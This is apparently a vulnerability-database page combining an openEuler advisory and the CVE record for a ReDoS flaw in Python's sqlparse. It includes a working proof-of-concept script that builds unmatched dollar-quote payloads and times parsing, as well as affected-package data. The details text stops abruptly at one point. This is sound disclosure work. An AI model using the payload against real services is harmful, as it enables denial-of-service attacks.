Vulnerability-Lookup

OESA-2026-3547 (CVE-2026-59893)

Vulnerability from osv_openeuler – Published: 2026-08-30 04:16 – Updated: 2026-08-30 04:16 – Source website

Summary

python-sqlparse security update

Details

A non-validating SQL parser.

Security Fix(es):

Summary

sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.

Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.

Details

The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:

# sqlparse/keywords.py:33
(r&apos;((?&lt;![\w\&quot;\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1&apos;, tokens.Literal),

This pattern first captures a dollar-quote delimiter (e.g., $tag$ ) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.

The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):

# sqlparse/lexer.py:136-138
for pos, char in iterable:
    for rexmatch, action in self._SQL_REGEX:
        m = rexmatch(text, pos)

The data flow from public API to the vulnerable sink is:

sqlparse/__init__.py:20 — parse(sql) accepts caller-controlled SQL.
sqlparse/__init__.py:29 — delegates to parsestream(sql, encoding).
sqlparse/__init__.py:43 — FilterStack.run(stream, encoding) is invoked.
sqlparse/engine/filter_stack.py:31 — lexer.tokenize(sql, encoding) is called with no length limit or timeout.
sqlparse/lexer.py:137 — every regex in _SQL_REGEX is tried at the current position.
sqlparse/keywords.py:33 — the backreference regex performs repeated delimiter searches.

The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.

Empirically measured scaling confirms super-linear complexity:

Input (N unique openers)	Bytes	Elapsed
250	1,889	0.066 s
500	3,889	0.144 s
1,000	7,889	0.397 s
2,000	16,889	1.314 s

The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.

PoC

Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).

Using Docker (isolated reproduction):

# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .

# Run with no network access
docker run --rm --network=none sqlparse-vuln001

Direct Python reproduction:

import time
import sqlparse
from sqlparse.exceptions import SQLParseError

def make_payload(n: int) -&gt; str:
    # N unique unmatched dollar-quote openers — none have a matching closing delimiter
    return &quot; &quot;.join(f&quot;$a{i}$x&quot; for i in range(n))

for n in [250, 500, 1000, 2000]:
    payload = make_payload(n)
    t0 = time.perf_counter()
    try:
        sqlparse.parse(payload)
        status = &quot;ok&quot;
    except SQLParseError as e:
        status = f&quot;SQLParseError: {e}&quot;
    elapsed = time.perf_counter() - t0
    print(f&quot;n={n:&gt;5}  bytes={len(payload):&gt;7}  elapsed={elapsed:.3f}s  status={status}&quot;)

**E(CVE-2026-59893)

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

URL

Type

	https://www.openeuler.org/zh/security/security-bu…	ADVISORY
	https://nvd.nist.gov/vuln/detail/CVE-2026-59893	ADVISORY

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "noarch": [
          "python-sqlparse-help-0.4.2-4.oe2203sp4.noarch.rpm",
          "python3-sqlparse-0.4.2-4.oe2203sp4.noarch.rpm"
        ],
        "src": [
          "python-sqlparse-0.4.2-4.oe2203sp4.src.rpm"
        ]
      },
      "package": {
        "ecosystem": "openEuler:22.03-LTS-SP4",
        "name": "python-sqlparse",
        "purl": "pkg:rpm/openEuler/python-sqlparse\u0026distro=openEuler-22.03-LTS-SP4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.2-4.oe2203sp4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "ecosystem_specific": {
        "noarch": [
          "python3-sqlparse-0.4.4-3.oe2403sp1.noarch.rpm"
        ],
        "src": [
          "python-sqlparse-0.4.4-3.oe2403sp1.src.rpm"
        ]
      },
      "package": {
        "ecosystem": "openEuler:24.03-LTS-SP1",
        "name": "python-sqlparse",
        "purl": "pkg:rpm/openEuler/python-sqlparse\u0026distro=openEuler-24.03-LTS-SP1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.4-3.oe2403sp1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "ecosystem_specific": {
        "noarch": [
          "python3-sqlparse-0.6.0-1.oe2403sp3.noarch.rpm"
        ],
        "src": [
          "python-sqlparse-0.6.0-1.oe2403sp3.src.rpm"
        ]
      },
      "package": {
        "ecosystem": "openEuler:24.03-LTS-SP3",
        "name": "python-sqlparse",
        "purl": "pkg:rpm/openEuler/python-sqlparse\u0026distro=openEuler-24.03-LTS-SP3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0-1.oe2403sp3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "ecosystem_specific": {
        "noarch": [
          "python3-sqlparse-0.6.0-1.oe2403sp4.noarch.rpm"
        ],
        "src": [
          "python-sqlparse-0.6.0-1.oe2403sp4.src.rpm"
        ]
      },
      "package": {
        "ecosystem": "openEuler:24.03-LTS-SP4",
        "name": "python-sqlparse",
        "purl": "pkg:rpm/openEuler/python-sqlparse\u0026distro=openEuler-24.03-LTS-SP4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0-1.oe2403sp4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "ecosystem_specific": {
        "noarch": [
          "python-sqlparse-help-0.3.1-4.oe2003sp4.noarch.rpm",
          "python3-sqlparse-0.3.1-4.oe2003sp4.noarch.rpm"
        ],
        "src": [
          "python-sqlparse-0.3.1-4.oe2003sp4.src.rpm"
        ]
      },
      "package": {
        "ecosystem": "openEuler:20.03-LTS-SP4",
        "name": "python-sqlparse",
        "purl": "pkg:rpm/openEuler/python-sqlparse\u0026distro=openEuler-20.03-LTS-SP4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.1-4.oe2003sp4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "severity": "High"
  },
  "details": "A non-validating SQL parser.\r\n\r\nSecurity Fix(es):\n\n### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \u0026quot;Additional affected pattern: multiline comments\u0026quot; below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0026apos;((?\u0026lt;![\\w\\\u0026quot;\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0026apos;, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n    for rexmatch, action in self._SQL_REGEX:\n        m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes  | Elapsed  |\n|--------------------------|--------|----------|\n| 250                      | 1,889  | 0.066 s  |\n| 500                      | 3,889  | 0.144 s  |\n| 1,000                    | 7,889  | 0.397 s  |\n| 2,000                    | 16,889 | 1.314 s  |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u0026gt; str:\n    # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n    return \u0026quot; \u0026quot;.join(f\u0026quot;$a{i}$x\u0026quot; for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n    payload = make_payload(n)\n    t0 = time.perf_counter()\n    try:\n        sqlparse.parse(payload)\n        status = \u0026quot;ok\u0026quot;\n    except SQLParseError as e:\n        status = f\u0026quot;SQLParseError: {e}\u0026quot;\n    elapsed = time.perf_counter() - t0\n    print(f\u0026quot;n={n:\u0026gt;5}  bytes={len(payload):\u0026gt;7}  elapsed={elapsed:.3f}s  status={status}\u0026quot;)\n```\n\n**E(CVE-2026-59893)",
  "id": "OESA-2026-3547",
  "modified": "2026-08-30T04:16:23Z",
  "published": "2026-08-30T04:16:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://www.openeuler.org/zh/security/security-bulletins/detail/?id=openEuler-SA-2026-3547"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59893"
    }
  ],
  "schema_version": "1.7.2",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "python-sqlparse security update",
  "upstream": [
    "CVE-2026-59893"
  ]
}

CVE-2026-59893 (GCVE-0-2026-59893)

Vulnerability from cvelistv5 – Published: 2026-08-17 17:41 – Updated: 2026-08-17 18:54

Title

sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)

Summary

sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-17 18:54 UTC

CWE

CWE-1333 - Inefficient Regular Expression Complexity

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/andialbrecht/sqlparse/security…	x_refsource_CONFIRM
https://github.com/andialbrecht/sqlparse/commit/d…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
andialbrecht	sqlparse	Affected: < 0.6.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-59893",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-17T18:54:17.365983Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-17T18:54:26.754Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "sqlparse",
          "vendor": "andialbrecht",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.6.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1333",
              "description": "CWE-1333: Inefficient Regular Expression Complexity",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-17T17:41:36.621Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
        },
        {
          "name": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
        }
      ],
      "source": {
        "advisory": "GHSA-prg7-hcfm-mfcr",
        "discovery": "UNKNOWN"
      },
      "title": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-59893",
    "datePublished": "2026-08-17T17:41:36.621Z",
    "dateReserved": "2026-07-07T16:40:07.983Z",
    "dateUpdated": "2026-08-17T18:54:26.754Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

OESA-2026-3547 (CVE-2026-59893)

Summary

Details

PoC

CVE-2026-59893 (GCVE-0-2026-59893)

Tags

Sightings

Nomenclature

Related by attack behaviour